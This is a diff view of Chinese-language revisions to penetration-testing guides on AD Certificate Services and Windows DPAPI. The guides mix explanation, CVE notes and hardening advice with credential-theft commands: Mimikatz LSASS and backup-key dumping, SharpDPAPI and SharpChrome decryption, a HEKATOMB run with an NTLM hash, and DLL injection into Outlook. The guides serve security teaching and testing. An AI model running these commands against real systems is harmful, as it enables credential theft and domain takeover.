> 此外,本书中描述的技术和技巧仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的风险和决定由用户自行承担。
|
||||
> 此外,本书中描述的技术和技巧仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的风险和判断完全由用户自行承担。
|
||||
>
|
||||
> 用户对基于本书中包含的信息采取的任何行动负全部责任,并应在尝试实施本书中描述的任何技术或技巧时始终寻求专业建议和帮助。
|
||||
>
|
||||
|
||||
@ -12,18 +12,18 @@
|
||||
- 由证书颁发机构(CA)提供的唯一**序列号**标识每个证书。
|
||||
- **颁发者**指的是颁发证书的CA。
|
||||
- **SubjectAlternativeName**允许为主题提供额外名称,增强识别灵活性。
|
||||
- **基本约束**识别证书是用于CA还是最终实体,并定义使用限制。
|
||||
- **扩展密钥使用(EKUs)**通过对象标识符(OIDs)划分证书的特定用途,如代码签名或电子邮件加密。
|
||||
- **基本约束**识别证书是用于CA还是终端实体,并定义使用限制。
|
||||
- **扩展密钥使用(EKUs)**通过对象标识符(OIDs)划定证书的特定用途,如代码签名或电子邮件加密。
|
||||
- **签名算法**指定签署证书的方法。
|
||||
- 使用颁发者的私钥创建的**签名**保证证书的真实性。
|
||||
|
||||
### Special Considerations
|
||||
|
||||
- **主题备用名称(SANs)**扩展证书对多个身份的适用性,对于具有多个域的服务器至关重要。安全的颁发流程对于避免攻击者操纵SAN规范而导致的冒充风险至关重要。
|
||||
- **主题备用名称(SANs)**扩展证书对多个身份的适用性,对于具有多个域的服务器至关重要。安全的颁发流程对于避免攻击者操纵SAN规范进行冒充风险至关重要。
|
||||
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
|
||||
AD CS通过指定的容器在AD森林中承认CA证书,每个容器承担独特的角色:
|
||||
AD CS通过指定的容器在AD森林中承认CA证书,每个容器承担独特角色:
|
||||
|
||||
- **Certification Authorities**容器保存受信任的根CA证书。
|
||||
- **Enrolment Services**容器详细说明企业CA及其证书模板。
|
||||
@ -39,7 +39,7 @@ AD CS通过指定的容器在AD森林中承认CA证书,每个容器承担独
|
||||
|
||||
### Certificate Templates
|
||||
|
||||
在AD中定义的这些模板概述了颁发证书的设置和权限,包括允许的EKUs和注册或修改权限,对于管理证书服务的访问至关重要。
|
||||
在AD中定义,这些模板概述了颁发证书的设置和权限,包括允许的EKUs和注册或修改权利,对于管理证书服务的访问至关重要。
|
||||
|
||||
## Certificate Enrollment
|
||||
|
||||
@ -49,7 +49,7 @@ AD CS通过指定的容器在AD森林中承认CA证书,每个容器承担独
|
||||
|
||||
### Template Enrollment Rights
|
||||
|
||||
这些权限通过访问控制条目(ACEs)指定,详细说明了如下权限:
|
||||
这些权限通过访问控制条目(ACEs)指定,详细说明权限,如:
|
||||
|
||||
- **证书注册**和**证书自动注册**权限,每个权限与特定的GUID相关联。
|
||||
- **ExtendedRights**,允许所有扩展权限。
|
||||
@ -70,11 +70,11 @@ CA的权限在其安全描述符中列出,可以通过证书颁发机构管理
|
||||
|
||||
可以通过以下方式请求证书:
|
||||
|
||||
1. **Windows客户端证书注册协议**(MS-WCCE),使用DCOM接口。
|
||||
2. **ICertPassage远程协议**(MS-ICPR),通过命名管道或TCP/IP。
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE),使用DCOM接口。
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR),通过命名管道或TCP/IP。
|
||||
3. **证书注册Web界面**,安装了证书颁发机构Web注册角色。
|
||||
4. **证书注册服务**(CES),与证书注册策略(CEP)服务结合使用。
|
||||
5. **网络设备注册服务**(NDES)用于网络设备,使用简单证书注册协议(SCEP)。
|
||||
4. **证书注册服务** (CES),与证书注册策略(CEP)服务结合使用。
|
||||
5. **网络设备注册服务** (NDES)用于网络设备,使用简单证书注册协议(SCEP)。
|
||||
|
||||
Windows用户还可以通过GUI(`certmgr.msc`或`certlm.msc`)或命令行工具(`certreq.exe`或PowerShell的`Get-Certificate`命令)请求证书。
|
||||
```bash
|
||||
@ -95,11 +95,11 @@ CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<do
|
||||
|
||||
### 安全通道 (Schannel) 认证
|
||||
|
||||
Schannel 促进安全的 TLS/SSL 连接,在握手过程中,客户端会提供一个证书,如果成功验证,则授权访问。将证书映射到 AD 账户可能涉及 Kerberos 的 **S4U2Self** 函数或证书的 **主题备用名称 (SAN)**,以及其他方法。
|
||||
Schannel 促进安全的 TLS/SSL 连接,在握手过程中,客户端提供一个证书,如果成功验证,则授权访问。将证书映射到 AD 账户可能涉及 Kerberos 的 **S4U2Self** 函数或证书的 **主题备用名称 (SAN)**,以及其他方法。
|
||||
|
||||
### AD 证书服务枚举
|
||||
|
||||
AD 的证书服务可以通过 LDAP 查询进行枚举,揭示有关 **企业证书授权机构 (CAs)** 及其配置的信息。任何经过域认证的用户都可以访问这些信息,而无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 被用于在 AD CS 环境中进行枚举和漏洞评估。
|
||||
AD 的证书服务可以通过 LDAP 查询进行枚举,揭示有关 **企业证书颁发机构 (CAs)** 及其配置的信息。这对任何经过域认证的用户都是可访问的,无需特殊权限。工具如 **[Certify](https://github.com/GhostPack/Certify)** 和 **[Certipy](https://github.com/ly4k/Certipy)** 被用于在 AD CS 环境中的枚举和漏洞评估。
|
||||
|
||||
使用这些工具的命令包括:
|
||||
```bash
|
||||
@ -124,23 +124,23 @@ certutil -v -dstemplate
|
||||
|
||||
| 年份 | ID / 名称 | 影响 | 关键要点 |
|
||||
|------|-----------|--------|----------------|
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *特权提升*,通过在 PKINIT 期间伪造机器账户证书。 | 补丁包含在 **2022年5月10日** 的安全更新中。通过 **KB5014754** 引入审计和强映射控制;环境现在应处于 *完全强制* 模式。 citeturn2search0 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *远程代码执行* 在 AD CS Web Enrollment (certsrv) 和 CES 角色中。 | 公开的 PoC 限制较少,但易受攻击的 IIS 组件通常在内部暴露。补丁自 **2023年7月** 的补丁星期二起生效。 citeturn3search0 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | 具有注册权限的低权限用户可以在 CSR 生成期间覆盖 **任何** EKU 或 SAN,发放可用于客户端身份验证或代码签名的证书,导致 *域被攻陷*。 | 在 **2024年4月** 的更新中解决。移除模板中的“请求中提供”并限制注册权限。 citeturn1search3 |
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *特权提升*,通过在 PKINIT 期间伪造机器账户证书。 | 补丁包含在 **2022年5月10日** 的安全更新中。通过 **KB5014754** 引入了审计和强映射控制;环境现在应处于 *完全强制* 模式。 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *远程代码执行* 在 AD CS Web Enrollment (certsrv) 和 CES 角色中。 | 公开的 PoC 限制较少,但易受攻击的 IIS 组件通常在内部暴露。补丁自 **2023年7月** 的补丁星期二起生效。 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | 具有注册权限的低权限用户可以在 CSR 生成期间覆盖 **任何** EKU 或 SAN,发放可用于客户端身份验证或代码签名的证书,导致 *域被攻陷*。 | 在 **2024年4月** 的更新中解决。移除模板中的“请求中提供”并限制注册权限。 |
|
||||
|
||||
### 微软强化时间表 (KB5014754)
|
||||
|
||||
微软引入了三阶段的推出(兼容性 → 审计 → 强制),以将 Kerberos 证书认证从弱隐式映射中移除。自 **2025年2月11日** 起,如果未设置 `StrongCertificateBindingEnforcement` 注册表值,域控制器将自动切换到 **完全强制**。管理员应:
|
||||
微软引入了三阶段的推出(兼容性 → 审计 → 强制),以将 Kerberos 证书认证从弱隐式映射中转移出去。自 **2025年2月11日** 起,如果未设置 `StrongCertificateBindingEnforcement` 注册表值,域控制器将自动切换到 **完全强制**。管理员应:
|
||||
|
||||
1. 修补所有 DC 和 AD CS 服务器(2022年5月或更晚)。
|
||||
2. 在 *审计* 阶段监控事件 ID 39/41 以查找弱映射。
|
||||
3. 在 2025年2月之前重新签发带有新 **SID 扩展** 的客户端认证证书或配置强手动映射。 citeturn2search0
|
||||
3. 在 2025年2月之前重新发放带有新 **SID 扩展** 的客户端认证证书或配置强手动映射。
|
||||
|
||||
---
|
||||
|
||||
## 检测与强化增强
|
||||
|
||||
* **Defender for Identity AD CS 传感器 (2023-2024)** 现在提供 ESC1-ESC8/ESC11 的姿态评估,并生成实时警报,例如 *“非 DC 的域控制器证书发放”* (ESC8) 和 *“防止使用任意应用程序策略的证书注册”* (ESC15)。确保传感器部署到所有 AD CS 服务器,以便受益于这些检测。 citeturn5search0
|
||||
* **Defender for Identity AD CS 传感器 (2023-2024)** 现在提供 ESC1-ESC8/ESC11 的姿态评估,并生成实时警报,如 *“非 DC 的域控制器证书发放”* (ESC8) 和 *“防止使用任意应用程序策略的证书注册”* (ESC15)。确保传感器部署到所有 AD CS 服务器以受益于这些检测。
|
||||
* 禁用或严格限制所有模板上的 **“请求中提供”** 选项;优先使用明确定义的 SAN/EKU 值。
|
||||
* 除非绝对必要,否则从模板中移除 **任何目的** 或 **无 EKU**(解决 ESC2 场景)。
|
||||
* 对于敏感模板(例如,WebServer / CodeSigning),要求 **经理批准** 或专用注册代理工作流。
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## 什么是 DPAPI
|
||||
|
||||
数据保护 API (DPAPI) 主要用于 Windows 操作系统中,进行 **对称加密非对称私钥**,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者对于系统加密,使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。
|
||||
数据保护 API (DPAPI) 主要用于 Windows 操作系统中,进行 **对称加密非对称私钥**,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密过程,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者对于系统加密,使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。
|
||||
|
||||
使用 DPAPI 的最常见方法是通过 **`CryptProtectData` 和 `CryptUnprotectData`** 函数,这些函数允许应用程序在当前登录的进程会话中安全地加密和解密数据。这意味着加密的数据只能由加密它的同一用户或系统解密。
|
||||
|
||||
@ -14,9 +14,9 @@
|
||||
|
||||
### 用户密钥生成
|
||||
|
||||
DPAPI 为每个用户生成一个唯一的密钥(称为 **`pre-key`**),该密钥基于用户的凭据派生。此密钥是从用户的密码和其他因素派生的,算法取决于用户的类型,但最终是 SHA1。例如,对于域用户,**它依赖于用户的 HTLM 哈希**。
|
||||
DPAPI 为每个用户生成一个唯一的密钥(称为 **`pre-key`**),该密钥基于用户的凭据生成。此密钥是从用户的密码和其他因素派生的,算法取决于用户的类型,但最终是 SHA1。例如,对于域用户,**它取决于用户的 HTLM 哈希**。
|
||||
|
||||
这特别有趣,因为如果攻击者能够获取用户的密码哈希,他们可以:
|
||||
这特别有趣,因为如果攻击者能够获得用户的密码哈希,他们可以:
|
||||
|
||||
- **解密任何使用 DPAPI 加密的数据**,而无需联系任何 API
|
||||
- 尝试 **离线破解密码**,试图生成有效的 DPAPI 密钥
|
||||
@ -51,7 +51,7 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||||
|
||||
请注意,这些密钥**没有域备份**,因此只能在本地访问:
|
||||
|
||||
- **Mimikatz** 可以通过使用命令 `mimikatz lsadump::secrets` 转储 LSA 秘密来访问它。
|
||||
- **Mimikatz** 可以通过使用命令 `mimikatz lsadump::secrets` 转储 LSA 秘密来访问它
|
||||
- 该秘密存储在注册表中,因此管理员可以**修改 DACL 权限以访问它**。注册表路径为:`HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
|
||||
### DPAPI 保护的数据
|
||||
@ -82,7 +82,7 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
```
|
||||
- 拥有本地管理员权限,可以**访问 LSASS 内存**以提取所有连接用户的 DPAPI 主密钥和 SYSTEM 密钥。
|
||||
- 拥有本地管理员权限后,可以**访问 LSASS 内存**以提取所有连接用户的 DPAPI 主密钥和 SYSTEM 密钥。
|
||||
```bash
|
||||
# Mimikatz
|
||||
mimikatz sekurlsa::dpapi
|
||||
@ -92,7 +92,7 @@ mimikatz sekurlsa::dpapi
|
||||
# Mimikatz
|
||||
lsadump::secrets /system:DPAPI_SYSTEM /export
|
||||
```
|
||||
- 如果已知用户的密码或 NTLM 哈希,您可以**直接解密用户的主密钥**:
|
||||
- 如果已知用户的密码或 NTLM 哈希,您可以 **直接解密用户的主密钥**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
|
||||
@ -120,12 +120,12 @@ mimikatz vault::list
|
||||
|
||||
### 查找 DPAPI 加密数据
|
||||
|
||||
常见用户 **受保护的文件** 位于:
|
||||
常见用户 **保护的文件** 位于:
|
||||
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
|
||||
- 还可以在上述路径中将 `\Roaming\` 更改为 `\Local\` 进行检查。
|
||||
- 还可以尝试将上述路径中的 `\Roaming\` 更改为 `\Local\`。
|
||||
|
||||
枚举示例:
|
||||
```bash
|
||||
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
**SharpDPAPI** 工具还支持这些用于主密钥解密的参数(注意可以使用 `/rpc` 获取域的备份密钥,使用 `/password` 来使用明文密码,或使用 `/pvk` 指定 DPAPI 域私钥文件...):
|
||||
**SharpDPAPI** 工具还支持这些用于主密钥解密的参数(注意可以使用 `/rpc` 获取域的备份密钥,使用 `/password` 来使用明文密码,或使用 `/pvk` 来指定 DPAPI 域私钥文件...):
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -232,9 +232,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
---
|
||||
### 处理可选熵(“第三方熵”)
|
||||
|
||||
一些应用程序将额外的 **熵** 值传递给 `CryptProtectData`。没有这个值,即使知道正确的主密钥,blob 也无法解密。因此,在针对以这种方式保护的凭据时,获取熵是至关重要的(例如 Microsoft Outlook、某些 VPN 客户端)。
|
||||
一些应用程序将额外的 **entropy** 值传递给 `CryptProtectData`。没有这个值,blob 无法被解密,即使知道正确的 masterkey。因此,在针对以这种方式保护的凭据时,获取熵是至关重要的(例如 Microsoft Outlook、某些 VPN 客户端)。
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) 是一个用户模式 DLL,它在目标进程中钩住 DPAPI 函数,并透明地记录任何提供的可选熵。以 **DLL-injection** 模式运行 EntropyCapture 针对 `outlook.exe` 或 `vpnclient.exe` 等进程将输出一个文件,将每个熵缓冲区映射到调用进程和 blob。捕获的熵可以稍后提供给 **SharpDPAPI** (`/entropy:`) 或 **Mimikatz** (`/entropy:<file>`) 以解密数据。 citeturn5search0
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) 是一个用户模式 DLL,它在目标进程中钩住 DPAPI 函数,并透明地记录任何提供的可选熵。在 **DLL-injection** 模式下运行 EntropyCapture 针对 `outlook.exe` 或 `vpnclient.exe` 等进程将输出一个文件,将每个熵缓冲区映射到调用进程和 blob。捕获的熵可以稍后提供给 **SharpDPAPI** (`/entropy:`) 或 **Mimikatz** (`/entropy:<file>`) 以解密数据。
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### 离线破解主密钥 (Hashcat & DPAPISnoop)
|
||||
|
||||
微软从 Windows 10 v1607(2016)开始引入了 **context 3** 主密钥格式。`hashcat` v6.2.6(2023年12月)添加了哈希模式 **22100**(DPAPI 主密钥 v1 上下文)、**22101**(上下文 1)和 **22102**(上下文 3),允许通过 GPU 加速直接从主密钥文件破解用户密码。因此,攻击者可以在不与目标系统交互的情况下执行字典攻击或暴力破解攻击。 citeturn8search1
|
||||
微软从 Windows 10 v1607(2016)开始引入了 **context 3** 主密钥格式。`hashcat` v6.2.6(2023年12月)添加了哈希模式 **22100**(DPAPI 主密钥 v1 上下文)、**22101**(上下文 1)和 **22102**(上下文 3),允许通过 GPU 加速直接从主密钥文件破解用户密码。因此,攻击者可以在不与目标系统交互的情况下执行字典攻击或暴力破解攻击。
|
||||
|
||||
`DPAPISnoop`(2024)自动化了这个过程:
|
||||
```bash
|
||||
@ -265,7 +265,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
|
||||
### HEKATOMB
|
||||
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取 LDAP 目录中所有用户和计算机的工具,并通过 RPC 提取域控制器备份密钥。脚本将解析所有计算机的 IP 地址,并在所有计算机上执行 smbclient,以检索所有用户的 DPAPI blobs,并使用域备份密钥解密所有内容。
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) 是一个自动提取 LDAP 目录中所有用户和计算机的工具,并通过 RPC 提取域控制器备份密钥。然后,脚本将解析所有计算机的 IP 地址,并在所有计算机上执行 smbclient,以检索所有用户的 DPAPI blobs,并使用域备份密钥解密所有内容。
|
||||
|
||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||
|
||||
@ -278,12 +278,11 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
* 从数百个主机并行收集 blobs
|
||||
* 解析 **context 3** 主密钥和自动 Hashcat 破解集成
|
||||
* 支持 Chrome “App-Bound” 加密 cookie(见下一节)
|
||||
* 新的 **`--snapshot`** 模式以重复轮询端点并比较新创建的 blobs citeturn1search2
|
||||
* 新的 **`--snapshot`** 模式以重复轮询端点并比较新创建的 blobs
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) 是一个 C# 解析器,用于主密钥/凭证/保管库文件,可以输出 Hashcat/JtR 格式,并可选择自动调用破解。它完全支持 Windows 11 24H1 之前的机器和用户主密钥格式。 citeturn2search0
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) 是一个 C# 解析器,用于主密钥/凭证/保险库文件,可以输出 Hashcat/JtR 格式,并可选择自动调用破解。它完全支持 Windows 11 24H1 之前的机器和用户主密钥格式。
|
||||
|
||||
## 常见检测
|
||||
|
||||
@ -296,19 +295,18 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
---
|
||||
### 2023-2025 漏洞与生态系统变化
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI 安全通道欺骗**(2023年11月)。具有网络访问权限的攻击者可以欺骗域成员检索恶意 DPAPI 备份密钥,从而允许解密用户主密钥。已在 2023 年 11 月的累积更新中修补 – 管理员应确保 DC 和工作站完全修补。 citeturn4search0
|
||||
* **Chrome 127 “App-Bound” cookie 加密**(2024年7月)用存储在用户 **Credential Manager** 下的附加密钥替换了传统的仅 DPAPI 保护。离线解密 cookie 现在需要 DPAPI 主密钥和 **GCM 包装的应用绑定密钥**。SharpChrome v2.3 和 DonPAPI 2.x 能够在以用户上下文运行时恢复额外密钥。 citeturn0search0
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI 安全通道欺骗**(2023年11月)。具有网络访问权限的攻击者可以欺骗域成员检索恶意 DPAPI 备份密钥,从而允许解密用户主密钥。已在 2023 年 11 月的累积更新中修补 – 管理员应确保 DC 和工作站完全修补。
|
||||
* **Chrome 127 “App-Bound” cookie 加密**(2024年7月)用存储在用户 **Credential Manager** 下的附加密钥替换了传统的仅 DPAPI 保护。离线解密 cookie 现在需要 DPAPI 主密钥和 **GCM 包装的应用绑定密钥**。SharpChrome v2.3 和 DonPAPI 2.x 能够在以用户上下文运行时恢复额外密钥。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
||||
- https://github.com/Leftp/DPAPISnoop
|
||||
- https://pypi.org/project/donpapi/2.0.0/
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user